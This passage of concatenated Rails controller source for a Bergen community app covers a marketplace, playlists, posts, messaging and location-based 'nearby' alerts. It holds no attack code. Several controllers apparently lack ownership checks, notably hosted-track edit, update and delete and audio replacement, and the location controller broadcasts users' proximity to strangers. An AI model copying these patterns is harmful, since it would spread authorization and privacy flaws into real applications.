I18n.locale.to_s\n      sub.agreed_to_marketing = params[:email_subscription][:agreed_to_marketing] == \"1\"\n      sub.interests           = params[:email_subscription][:interests].presence\n      if sub.save\n        EmailSubscriptionMailer.confirm(sub).deliver_later\n        redirect_back fallback_location: root_path, notice: \"Check your inbox to confirm.\"\n      else\n        redirect_back fallback_location: root_path, alert: sub.errors.full_messages.first\n      end\n    else\n      redirect_back fallback_location: root_path, notice: \"Already subscribed.\"\n    end\n  end\n\n  def confirm\n    sub = EmailSubscription.find_by!(token: params[:token])\n    if sub.confirmed?\n      redirect_to root_path, notice: \"Already confirmed.\"\n    else\n      sub.confirm!\n      redirect_to root_path, notice: \"Subscribed! You'll receive city updates.\"\n    end\n  end\n\n  def destroy\n    sub = EmailSubscription.find_by!(token: params[:token])\n    sub.destroy!\n    redirect_to root_path, notice: \"Unsubscribed.\"\n  end\nend\n```\n\n## `rails/brgen/app/controllers/follows_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass FollowsController &lt; ApplicationController\n  before_action :require_real_user\n  before_action :set_user\n\n  def create\n    @follow = Follow.find_or_initialize_by(follower: Current.user, followed: @user)\n    if @follow.new_record?\n      @follow.save!\n      @active = true\n    else\n      @follow.destroy!\n      @active = false\n    end\n    respond_to do |f|\n      f.html { redirect_back fallback_location: root_path }\n      f.turbo_stream\n    end\n  end\n\n  def destroy\n    Follow.find_by(follower: Current.user, followed: @user)&amp;.destroy!\n    @active = false\n    respond_to do |f|\n      f.html { redirect_back fallback_location: root_path }\n      f.turbo_stream { render \"follows/create\" }\n    end\n  end\n\n  private\n\n  def set_user\n    @user = User.find(params[:user_id])\n  end\nend\n```\n\n## `rails/brgen/app/controllers/home_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass HomeController &lt; ApplicationController\n  def index\n    @posts = if authenticated?\n               Current.user.timeline_posts.hot.includes(:user, :community, :votes).limit(50)\n             else\n               Post.hot.includes(:user, :community, :votes).limit(50)\n             end\n    @communities = Community.popular.limit(10)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/locations_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass LocationsController &lt; ApplicationController\n  def update\n    lat = params[:latitude].to_f\n    lng = params[:longitude].to_f\n    return head :bad_request unless lat.between?(-90, 90) &amp;&amp; lng.between?(-180, 180)\n\n    me = Current.user\n    me.update_columns(latitude: lat, longitude: lng, location_updated_at: Time.current)\n\n    # Broadcast to each nearby user that I just arrived/am still near.\n    User.nearby(lat, lng).each do |other|\n      next if other == me\n\n      Turbo::StreamsChannel.broadcast_append_to(\n        \"nearby_alerts_#{other.id}\",\n        target: \"nearby-alerts\",\n        partial: \"nearby/alert\",\n        locals: { handle: me.anon_handle, user_id: me.id }\n      )\n      Pushable.push_to(other, title: \"Someone nearby\", body: \"#{me.anon_handle} is within 2 km \u2014 tap to chat\", url: \"/nearby\")\n    end\n\n    head :ok\n  end\nend\n```\n\n## `rails/brgen/app/controllers/maps/base_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Maps\n  class BaseController &lt; ApplicationController\n    allow_unauthenticated_access\n  end\nend\n```\n\n## `rails/brgen/app/controllers/maps/home_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Maps\n  class HomeController &lt; BaseController\n    def index\n      @mapbox_token = ENV.fetch(\"MAPBOX_API_KEY\", \"\")\n      @places_json = Place.includes(:city, :neighborhood).limit(500).map do |p|\n        { id: p.id, name: p.name, kind: p.kind,\n          lat: p.latitude, lng: p.longitude,\n          city: p.city&amp;.name, neighborhood: p.neighborhood&amp;.name }\n      end.to_json\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/maps/places_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Maps\n  class PlacesController &lt; BaseController\n    def index\n      scope = Place.includes(:city, :neighborhood)\n      scope = scope.where(\"name LIKE ?\", \"%#{params[:q]}%\") if params[:q].present?\n      scope = scope.where(kind: params[:kind]) if params[:kind].present?\n      render json: scope.limit(200).map { |p|\n        { id: p.id, name: p.name, kind: p.kind,\n          lat: p.latitude, lng: p.longitude,\n          city: p.city&amp;.name, neighborhood: p.neighborhood&amp;.name }\n      }\n    end\n\n    def show\n      @place = Place.includes(:city, :neighborhood).find(params[:id])\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/base_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::BaseController &lt; ApplicationController\n\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/carts_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::CartsController &lt; Marketplace::BaseController\n  before_action :authenticate_user!\n\n  def show\n    @cart_items = Current.user.marketplace_orders\n                         .where(status: \"pending\")\n                         .includes(:listing)\n                         .order(created_at: :desc)\n\n    @cart_total = @cart_items.sum(&amp;:total_cents)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/categories_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::CategoriesController &lt; Marketplace::BaseController\n  allow_unauthenticated_access only: %i[show]\n\n  def show\n    @category = Marketplace::Category.find_by!(slug: params[:id])\n    @pagy, @listings = pagy(@category.listings.active.recent)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/deals_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Marketplace\n  class DealsController &lt; Marketplace::BaseController\n    allow_unauthenticated_access only: %i[index show]\n\n    def index\n      @deals = Marketplace::Deal.active.includes(:listing).limit(100)\n      @featured_deals = @deals.select(&amp;:featured?).first(12)\n    end\n\n    def show\n      @deal = Marketplace::Deal.find(params[:id])\n      @listing = @deal.listing\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/favorites_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::FavoritesController &lt; Marketplace::BaseController\n  before_action :set_listing\n\n  def create\n    @listing.favorites.find_or_create_by!(user: Current.user)\n    redirect_back fallback_location: marketplace_listing_path(@listing), notice: \"Saved listing\"\n  end\n\n  def destroy\n    @listing.favorites.find_by(user: Current.user)&amp;.destroy\n    redirect_back fallback_location: marketplace_listing_path(@listing), notice: \"Removed saved listing\"\n  end\n\n  private\n\n  def set_listing = (@listing = Marketplace::Listing.find(params[:listing_id]))\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/listings_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::ListingsController &lt; Marketplace::BaseController\n  allow_unauthenticated_access only: %i[index show]\n  before_action :set_listing, only: %i[show edit update destroy]\n\n  def index\n    scope = Marketplace::Listing.active.includes(:user, :category)\n    scope = scope.where(\"title LIKE ?\", \"%#{params[:q]}%\") if params[:q].present?\n    scope = scope.where(category_id: params[:category_id]) if params[:category_id].present?\n    @pagy, @listings = pagy(scope.recent)\n    @categories = Marketplace::Category.roots.includes(:children)\n\n    # Schema.org ItemList for the marketplace listings page\n    if @listings.any?\n      content_for :json_ld, item_list_schema(@listings, title: \"Markedsplass\")\n    end\n  end\n\n  def show\n    @listing.increment!(:views_count)\n    @order = Marketplace::Order.new if authenticated?\n\n    # Schema.org Product markup for SEO (uses shared SchemaHelper)\n    content_for :json_ld, json_ld_for(@listing, type: :product)\n  end\n\n  def new\n    @listing   = Marketplace::Listing.new\n    @categories = Marketplace::Category.all\n  end\n\n  def create\n    @listing = Current.user.marketplace_listings.build(listing_params)\n    if @listing.save\n      preset = params[:marketplace_listing][:preset].presence\n      PostproJob.perform_later(@listing.to_gid.to_s, preset, \"photos\") if preset &amp;&amp; @listing.photos.attached?\n      record_listing_activity!\n      redirect_to marketplace_listing_path(@listing), notice: \"Listed\"\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def edit\n    @categories = Marketplace::Category.all\n  end\n\n  def update\n    @listing.update(listing_params) ?\n      redirect_to(marketplace_listing_path(@listing)) :\n      render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @listing.update!(status: \"removed\")\n    redirect_to marketplace_listings_path\n  end\n\n  private\n\n  def set_listing = (@listing = Marketplace::Listing.find(params[:id]))\n\n  def listing_params\n    params.require(:marketplace_listing).permit(\n      :title, :description, :price_cents, :condition, :status, :location,\n      :category_id, :preset, photos: []\n    )\n  end\n\n  def record_listing_activity!\n    return unless defined?(ActivityEventRecorder)\n\n    ActivityEventRecorder.call(\n      actor: Current.user,\n      event_name: \"ListingCreated\",\n      object: @listing,\n      source_vertical: \"marketplace\",\n      locality: @listing.location\n    )\n  end\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/orders_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::OrdersController &lt; Marketplace::BaseController\n  before_action :set_listing\n\n  def create\n    quantity = params[:quantity].to_i.positive? ? params[:quantity].to_i : 1\n\n    @order = @listing.orders.build(\n      buyer: Current.user,\n      message: params.dig(:marketplace_order, :message),\n      price_cents: @listing.price_cents,\n      quantity: quantity\n    )\n    if @order.save\n      notify_seller!\n      record_offer_activity!\n      redirect_to marketplace_listing_path(@listing), notice: \"Offer sent\"\n    else\n      redirect_to marketplace_listing_path(@listing), alert: \"Could not send offer\"\n    end\n  end\n\n  def update\n    @order = Marketplace::Order.find(params[:id])\n    if @order.seller == Current.user\n      @order.accept! if params[:accept]\n      @order.decline! if params[:decline]\n    end\n    redirect_to marketplace_listing_path(@listing)\n  end\n\n  private\n\n  def set_listing = (@listing = Marketplace::Listing.find(params[:listing_id]))\n\n  def notify_seller!\n    return unless defined?(Notification)\n\n    @listing.user.notifications.create!(\n      title: \"New marketplace offer\",\n      body: \"#{Current.user.display_name} sent an offer for #{@listing.title}.\",\n      source_type: @order.class.name,\n      source_id: @order.id\n    )\n  end\n\n  def record_offer_activity!\n    return unless defined?(ActivityEventRecorder)\n\n    ActivityEventRecorder.call(\n      actor: Current.user,\n      event_name: \"MarketplaceOfferSent\",\n      object: @order,\n      source_vertical: \"marketplace\",\n      locality: @listing.location\n    )\n  end\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/saved_searches_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Marketplace::SavedSearchesController &lt; Marketplace::BaseController\n  def index\n    @saved_searches = Current.user.marketplace_saved_searches.order(created_at: :desc)\n  end\n\n  def create\n    saved_search = Current.user.marketplace_saved_searches.create!(saved_search_params)\n    record_activity!(saved_search)\n    redirect_back fallback_location: marketplace_listings_path, notice: \"Saved search\"\n  end\n\n  def destroy\n    Current.user.marketplace_saved_searches.find(params[:id]).destroy\n    redirect_to marketplace_saved_searches_path, notice: \"Deleted saved search\"\n  end\n\n  private\n\n  def saved_search_params\n    params.require(:marketplace_saved_search).permit(:name, :query, :category_id, :location, :notify)\n  end\n\n  def record_activity!(saved_search)\n    return unless defined?(ActivityEventRecorder)\n\n    ActivityEventRecorder.call(\n      actor: Current.user,\n      event_name: \"MarketplaceSearchSaved\",\n      object: saved_search,\n      source_vertical: \"marketplace\",\n      locality: saved_search.location,\n      visibility: \"private\"\n    )\n  end\nend\n```\n\n## `rails/brgen/app/controllers/marketplace/stores_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Marketplace\n  class StoresController &lt; Marketplace::BaseController\n    allow_unauthenticated_access only: %i[index show]\n\n    def index\n      @stores = Marketplace::Store.active.by_vertical(params[:vertical]).recent.limit(100)\n    end\n\n    def show\n      @store = Marketplace::Store.find_by!(slug: params[:id])\n      @listings = @store.listings.active.recent.limit(100)\n    end\n\n    def new\n      @store = Marketplace::Store.new\n    end\n\n    def create\n      @store = Marketplace::Store.new(store_params)\n      @store.owner = Current.user\n\n      if @store.save\n        redirect_to marketplace_shop_path(@store.slug), notice: t(\"marketplace.store_created\", default: \"Store created\")\n      else\n        render :new, status: :unprocessable_entity\n      end\n    end\n\n    private\n\n    def store_params\n      params.require(:store).permit(:name, :slug, :description, :vertical)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/messages_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass MessagesController &lt; ApplicationController\n  before_action :require_user_session\n  before_action :set_conversation\n\n  def create\n    @message        = @conversation.messages.build(message_params)\n    @message.sender = Current.user\n\n    if @message.save\n      @conversation.participants.excluding(Current.user).each do |recipient|\n        Pushable.push_to(recipient,\n          title: Current.user.display_name,\n          body:  @message.content.to_s.truncate(120),\n          url:   conversation_path(@conversation)\n        )\n      end\n      respond_to do |format|\n        format.turbo_stream\n        format.html { redirect_to @conversation }\n      end\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  private\n\n  def set_conversation\n    @conversation = Conversation.for_user(Current.user).find(params[:conversation_id])\n  end\n\n  def message_params\n    params.require(:message).permit(:content, :message_type)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/nearby_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass NearbyController &lt; ApplicationController\n  def index\n    lat = Current.user&amp;.latitude\n    lng = Current.user&amp;.longitude\n    @located = lat.present?\n    @nearby = @located ? User.nearby(lat, lng).reject { |u| u == Current.user } : []\n  end\n\n  def create\n    other = User.find(params[:user_id])\n    conversation = Conversation.find_or_create_direct(Current.user, other)\n    redirect_to conversation\n  end\nend\n```\n\n## `rails/brgen/app/controllers/notifications_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass NotificationsController &lt; ApplicationController\n  before_action :require_real_user\n\n  def index\n    @notifications = Current.user.notifications.recent.limit(100)\n    @unread_count = Current.user.notifications.unread.count\n  end\n\n  def update\n    @notification = Current.user.notifications.find(params[:id])\n    @notification.update!(read_at: Time.current)\n    respond_to do |f|\n      f.html { redirect_back fallback_location: notifications_path }\n      f.turbo_stream\n    end\n  end\n\n  def read_all\n    Current.user.notifications.unread.update_all(read_at: Time.current)\n    respond_to do |f|\n      f.html { redirect_to notifications_path }\n      f.turbo_stream\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/passwords_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsController &lt; ApplicationController\n  allow_unauthenticated_access\n  before_action :set_user_by_token, only: %i[ edit update ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_password_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.find_by(email_address: params[:email_address])\n      PasswordsMailer.reset(user).deliver_later\n    end\n\n    redirect_to new_session_path, notice: \"Password reset instructions sent (if user with that email address exists).\"\n  end\n\n  def edit\n  end\n\n  def update\n    if @user.update(params.permit(:password, :password_confirmation))\n      @user.sessions.destroy_all\n      redirect_to new_session_path, notice: \"Password has been reset.\"\n    else\n      redirect_to edit_password_path(params[:token]), alert: \"Passwords did not match.\"\n    end\n  end\n\n  private\n    def set_user_by_token\n      @user = User.find_by_password_reset_token!(params[:token])\n    rescue ActiveSupport::MessageVerifier::InvalidSignature\n      redirect_to new_password_path, alert: \"Password reset link is invalid or has expired.\"\n    end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/audio_versions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class AudioVersionsController &lt; ApplicationController\n    before_action :set_track\n\n    def create\n      @track.replace_audio!(params.require(:audio_file), actor: current_user_if_available)\n      redirect_to playlist_track_path(@track), notice: t(\"playlist.audio_replaced\", default: \"Audio replaced\")\n    end\n\n    private\n\n    def set_track\n      @track = Playlist::Track.find(params[:track_id])\n    end\n\n    def current_user_if_available\n      current_user if respond_to?(:current_user, true)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/base_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::BaseController &lt; ApplicationController\n\nend\n```\n\n## `rails/brgen/app/controllers/playlist/collaborations_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::CollaborationsController &lt; Playlist::BaseController\n  before_action :set_target\n\n  def create\n    unless authenticated? &amp;&amp; owner_or_editor?\n      redirect_to(playlist_target_path, alert: \"Not allowed\") and return\n    end\n\n    username = params[:username].to_s.strip\n    target_user = User.find_by(username: username)\n    unless target_user\n      redirect_to(playlist_target_path, alert: \"User not found\") and return\n    end\n\n    role = params[:role].presence || \"editor\"\n    collab = @target.collaborations.build(user: target_user, role: role)\n    if collab.save\n      redirect_to(playlist_target_path, notice: \"Collaborator added\")\n    else\n      redirect_to(playlist_target_path, alert: collab.errors.full_messages.to_sentence)\n    end\n  end\n\n  def destroy\n    unless authenticated? &amp;&amp; owner_or_editor?\n      redirect_to(playlist_target_path, alert: \"Not allowed\") and return\n    end\n\n    collab = @target.collaborations.find(params[:id])\n    collab.destroy\n    redirect_to(playlist_target_path, notice: \"Collaborator removed\")\n  end\n\n  private\n\n  def set_target\n    if params[:set_id]\n      @set = Playlist::Set.find(params[:set_id])\n      @target = @set\n    elsif params[:playlist_id]\n      @playlist = Playlist::Playlist.find(params[:playlist_id])\n      @target = @playlist\n    else\n      redirect_to(playlist_playlists_path)\n    end\n  end\n\n  def playlist_target_path\n    if @set\n      playlist_set_path(@set)\n    else\n      playlist_playlist_path(@playlist)\n    end\n  end\n\n  def owner_or_editor?\n    return false unless @target\n    owner = Current.user == (@target.respond_to?(:user) ? @target.user : nil)\n    return true if owner\n    collab = @target.collaborations.find_by(user: Current.user)\n    collab &amp;&amp; %w[owner editor].include?(collab.role)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/dilla_sketches_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::DillaSketchesController &lt; Playlist::BaseController\n  before_action :set_parent\n  before_action :authorize_editor, only: %i[create update destroy]\n\n  def create\n    sketch = @parent.dilla_sketches.build(dilla_sketch_params.merge(user: Current.user))\n    if sketch.save\n      redirect_to(parent_path, notice: t(\"dilla.sketch_saved\", default: \"Dilla sketch saved to collab\"))\n    else\n      redirect_to(parent_path, alert: sketch.errors.full_messages.to_sentence)\n    end\n  end\n\n  def update\n    sketch = @parent.dilla_sketches.find(params[:id])\n    if sketch.update(dilla_sketch_params)\n      redirect_to(parent_path, notice: t(\"dilla.sketch_updated\", default: \"Sketch updated\"))\n    else\n      redirect_to(parent_path, alert: sketch.errors.full_messages.to_sentence)\n    end\n  end\n\n  def destroy\n    sketch = @parent.dilla_sketches.find(params[:id])\n    sketch.destroy\n    redirect_to(parent_path, notice: t(\"dilla.sketch_removed\", default: \"Sketch removed\"))\n  end\n\n  private\n\n  def set_parent\n    if params[:playlist_id]\n      @parent = Playlist::Playlist.find(params[:playlist_id])\n      @playlist = @parent\n      return\n    end\n    if params[:set_id]\n      @parent = Playlist::Set.find(params[:set_id])\n      @set = @parent\n      return\n    end\n    redirect_to(playlist_playlists_path)\n  end\n\n  def parent_path\n    if @playlist\n      playlist_playlist_path(@playlist)\n    else\n      playlist_set_path(@set)\n    end\n  end\n\n  def dilla_sketch_params\n    params.require(:playlist_dilla_sketch).permit(:name, :state, :notes).tap do |p|\n      # state can come as JSON string from form or already hash\n      if p[:state].is_a?(String) &amp;&amp; p[:state].present?\n        begin\n          p[:state] = JSON.parse(p[:state])\n        rescue JSON::ParserError\n          p[:state] = {}\n        end\n      end\n    end\n  end\n\n  def authorize_editor\n    u = Current.user\n    owner = (u == @parent.user)\n    editor = false\n    if (collab = @parent.collaborations.find_by(user: u))\n      editor = %w[owner editor].include?(collab.role)\n    end\n    unless owner || editor\n      redirect_to(parent_path, alert: t(\"dilla.not_allowed\", default: \"Not allowed to edit dilla sketches in this collab\"))\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/hosted_tracks_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class HostedTracksController &lt; Playlist::BaseController\n    allow_unauthenticated_access only: %i[index show]\n    before_action :set_track, only: %i[show edit update destroy]\n\n    def index\n      @tracks = Playlist::Track.publicly_visible.unexpired.recent.limit(100)\n    end\n\n    def show\n      @comments = @track.timestamped_comments.chronological.limit(200)\n    end\n\n    def new\n      @track = Playlist::Track.new\n    end\n\n    def create\n      @track = Playlist::Track.new(track_params)\n      @track.audio_file.attach(params[:track][:audio_file]) if params.dig(:track, :audio_file).present?\n      @track.artwork.attach(params[:track][:artwork]) if params.dig(:track, :artwork).present?\n\n      if @track.save\n        redirect_to playlist_hosted_track_path(@track), notice: t(\"playlist.track_created\", default: \"Track uploaded\")\n      else\n        render :new, status: :unprocessable_entity\n      end\n    end\n\n    def edit\n    end\n\n    def update\n      if @track.update(track_params)\n        redirect_to playlist_hosted_track_path(@track), notice: t(\"playlist.track_updated\", default: \"Track updated\")\n      else\n        render :edit, status: :unprocessable_entity\n      end\n    end\n\n    def destroy\n      @track.destroy\n      redirect_to playlist_hosted_tracks_path, notice: t(\"playlist.track_deleted\", default: \"Track removed\")\n    end\n\n    private\n\n    def set_track\n      @track = Playlist::Track.find(params[:id])\n    end\n\n    def track_params\n      params.require(:track).permit(:title, :artist, :album, :duration_seconds, :source_type, :source_url, :genre, :privacy, :expires_at)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/listens_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::ListensController &lt; Playlist::BaseController\n  def create\n    track = Playlist::Track.find(params[:track_id])\n    Playlist::Listen.create!(user: Current.user, track: track)\n    render json: { ok: true }\n  end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/playlists_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::PlaylistsController &lt; Playlist::BaseController\n  allow_unauthenticated_access only: %i[index show]\n  before_action :set_playlist, only: %i[show edit update destroy]\n  before_action :authorize_owner_or_editor, only: %i[edit update destroy]\n\n  def index\n    @pagy, @playlists = pagy(Playlist::Playlist.public_playlists.popular.includes(:user))\n  end\n\n  def show\n    @tracks = @playlist.playlist_tracks.includes(:track)\n    @dilla_sketches = @playlist.dilla_sketches.recent.includes(:user)\n  end\n\n  def new\n    @playlist = Playlist::Playlist.new\n  end\n\n  def create\n    @playlist = Current.user.playlist_playlists.build(playlist_params)\n    @playlist.save ?\n      redirect_to(playlist_playlist_path(@playlist), notice: \"Playlist created\") :\n      render(:new, status: :unprocessable_entity)\n  end\n\n  def edit; end\n\n  def update\n    @playlist.update(playlist_params) ?\n      redirect_to(playlist_playlist_path(@playlist)) :\n      render(:edit, status: :unprocessable_entity)\n  end\n\n  def destroy\n    @playlist.destroy\n    redirect_to playlist_playlists_path\n  end\n\n  private\n\n  def set_playlist\n    @playlist = Playlist::Playlist.find(params[:id])\n  end\n\n  def playlist_params\n    params.require(:playlist_playlist).permit(:name, :description, :public_access, :collaborative)\n  end\n\n  def authorize_owner_or_editor\n    return if Current.user == @playlist.user\n    collab = @playlist.collaborations.find_by(user: Current.user)\n    return if collab &amp;&amp; %w[owner editor].include?(collab.role)\n    redirect_to(playlist_playlist_path(@playlist), alert: \"Not allowed\")\n  end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/sets_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class SetsController &lt; ApplicationController\n    before_action :set_set, only: %i[show edit update destroy]\n    before_action :authorize_owner_or_editor, only: %i[edit update destroy]\n\n    def index\n      @sets = Playlist::Set.publicly_listed.limit(100)\n    end\n\n    def show\n      @tracks = @set.tracks\n      @dilla_sketches = @set.dilla_sketches.recent.includes(:user)\n    end\n\n    def new\n      @set = Playlist::Set.new\n    end\n\n    def create\n      @set = Playlist::Set.new(set_params)\n      @set.user = current_user if respond_to?(:current_user, true)\n\n      if @set.save\n        redirect_to playlist_set_path(@set), notice: t(\"playlist.set_created\", default: \"Set created\")\n      else\n        render :new, status: :unprocessable_entity\n      end\n    end\n\n    def edit\n    end\n\n    def update\n      if @set.update(set_params)\n        redirect_to playlist_set_path(@set), notice: t(\"playlist.set_updated\", default: \"Set updated\")\n      else\n        render :edit, status: :unprocessable_entity\n      end\n    end\n\n    def destroy\n      @set.destroy\n      redirect_to playlist_sets_path, notice: t(\"playlist.set_deleted\", default: \"Set removed\")\n    end\n\n    private\n\n    def set_set\n      @set = Playlist::Set.find(params[:id])\n    end\n\n    def set_params\n      params.require(:set).permit(:name, :description, :privacy, :collaborative)\n    end\n\n    def authorize_owner_or_editor\n      user = Current.user || (respond_to?(:current_user) ? current_user : nil)\n      return if user == @set.user\n      collab = @set.collaborations.find_by(user: user)\n      return if collab &amp;&amp; %w[owner editor].include?(collab.role)\n      redirect_to(playlist_set_path(@set), alert: \"Not allowed\")\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/timestamped_comments_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Playlist\n  class TimestampedCommentsController &lt; ApplicationController\n    before_action :set_track\n\n    def create\n      comment = @track.timestamped_comments.build(comment_params)\n      comment.user = current_user if respond_to?(:current_user, true)\n      comment.save!\n\n      respond_to do |format|\n        format.html { redirect_to playlist_track_path(@track) }\n        format.turbo_stream\n        format.json { render json: { id: comment.id }, status: :created }\n      end\n    end\n\n    private\n\n    def set_track\n      @track = Playlist::Track.find(params[:track_id])\n    end\n\n    def comment_params\n      params.require(:timestamped_comment).permit(:body, :timestamp_seconds)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/playlist/tracks_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Playlist::TracksController &lt; Playlist::BaseController\n  before_action :set_playlist\n\n  def create\n    track = Playlist::Track.find_or_create_by!(title: params.dig(:playlist_track, :title),\n                                               artist: params.dig(:playlist_track, :artist)) do |t|\n      t.assign_attributes(track_params.except(:title, :artist))\n    end\n    @playlist.add_track!(track, user: Current.user)\n    redirect_to playlist_playlist_path(@playlist), notice: \"Track added\"\n  end\n\n  def destroy\n    pt = @playlist.playlist_tracks.find(params[:id])\n    pt.destroy\n    redirect_to playlist_playlist_path(@playlist)\n  end\n\n  private\n  def set_playlist  = (@playlist = Playlist::Playlist.find(params[:playlist_id]))\n  def track_params  = params.require(:playlist_track).permit(:title, :artist, :album, :duration_seconds, :source_type, :source_url, :genre)\nend\n```\n\n## `rails/brgen/app/controllers/playlist_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PlaylistController &lt; ApplicationController\n  def index\n    @playlists = [\n      {name: \"Bergen Beats\", tracks: 12, genre: \"Electronic\"},\n      {name: \"Norwegian Folk\", tracks: 8, genre: \"Folk\"},\n      {name: \"Midnight Jazz\", tracks: 15, genre: \"Jazz\"}\n    ]\n  end\nend\n```\n\n## `rails/brgen/app/controllers/posts_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PostsController &lt; ApplicationController\n  before_action :require_real_user, only: [:edit, :update, :destroy]\n  before_action :set_post,          only: [:show, :edit, :update, :destroy]\n  before_action :set_community,     only: [:new, :create]\n\n  def index\n    @posts = Post.hot.includes(:user, :community, :votes)\n  end\n\n  def show\n    @comments    = @post.comments.where(parent_id: nil).best.includes(:user, :votes, replies: [:user, :votes])\n    @new_comment = Comment.new\n  end\n\n  def new\n    @post = Post.new(community: @community)\n  end\n\n  def create\n    @post           = Post.new(post_params)\n    @post.user      = Current.user\n    @post.anonymous = true if Current.user.guest?\n    @post.community = @community if @community\n    if @post.save\n      preset = post_params[:preset].presence\n      PostproJob.perform_later(@post.to_gid.to_s, preset) if preset &amp;&amp; @post.image.attached?\n      redirect_to @post, notice: \"Posted.\"\n    else\n      render :new, status: :unprocessable_entity\n    end\n  end\n\n  def edit; end\n\n  def update\n    if @post.update(post_params)\n      redirect_to @post\n    else\n      render :edit, status: :unprocessable_entity\n    end\n  end\n\n  def destroy\n    @post.destroy\n    redirect_to posts_path\n  end\n\n  private\n\n  def set_post\n    @post = Post.find(params[:id])\n  end\n\n  def set_community\n    @community = Community.find_by(id: params[:community_id])\n  end\n\n  def post_params\n    params.require(:post).permit(:title, :content, :community_id, :anonymous, :image, :preset)\n  end\nend\n```\n\n## `rails/brgen/app/controllers/push_subscriptions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PushSubscriptionsController &lt; ApplicationController\n  def create\n    data = JSON.parse(request.body.read)\n    Current.user.push_subscriptions.find_or_create_by!(endpoint: data[\"endpoint\"]) do |s|\n      s.p256dh = data.dig(\"keys\", \"p256dh\")\n      s.auth   = data.dig(\"keys\", \"auth\")\n    end\n    head :created\n  rescue JSON::ParserError\n    head :bad_request\n  end\n\n  def destroy\n    Current.user.push_subscriptions.find_by(endpoint: params[:endpoint])&amp;.destroy\n    head :ok\n  end\nend\n```\n\n## `rails/brgen/app/controllers/reactions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ReactionsController &lt; ApplicationController\n  before_action :require_real_user\n\n  def create\n    @target = GlobalID::Locator.locate_signed!(params.require(:target_gid))\n    @kind = params[:kind].presence || \"like\"\n    existing = Reaction.find_by(user: Current.user, reactable: @target, kind: @kind)\n    @active = existing.nil?\n    @active ? Reaction.create!(user: Current.user, reactable: @target, kind: @kind) : existing.destroy!\n    respond_to do |f|\n      f.html { redirect_back fallback_location: root_path }\n      f.turbo_stream\n      f.json { render json: { active: @active, kind: @kind } }\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/reports_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ReportsController &lt; ApplicationController\n  before_action :require_real_user\n\n  def create\n    @target = GlobalID::Locator.locate_signed!(params.require(:target_gid))\n    @report = ModerationReport.create!(\n      user: Current.user,\n      reportable: @target,\n      reason: params[:reason].presence || \"other\",\n      status: \"open\"\n    )\n    respond_to do |f|\n      f.html { redirect_back fallback_location: root_path, notice: \"Report submitted.\" }\n      f.turbo_stream\n      f.json { render json: { reported: true } }\n    end\n  end\nend\n```\n\n## `rails/brgen/app/controllers/sessions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SessionsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[ new create ]\n  rate_limit to: 10, within: 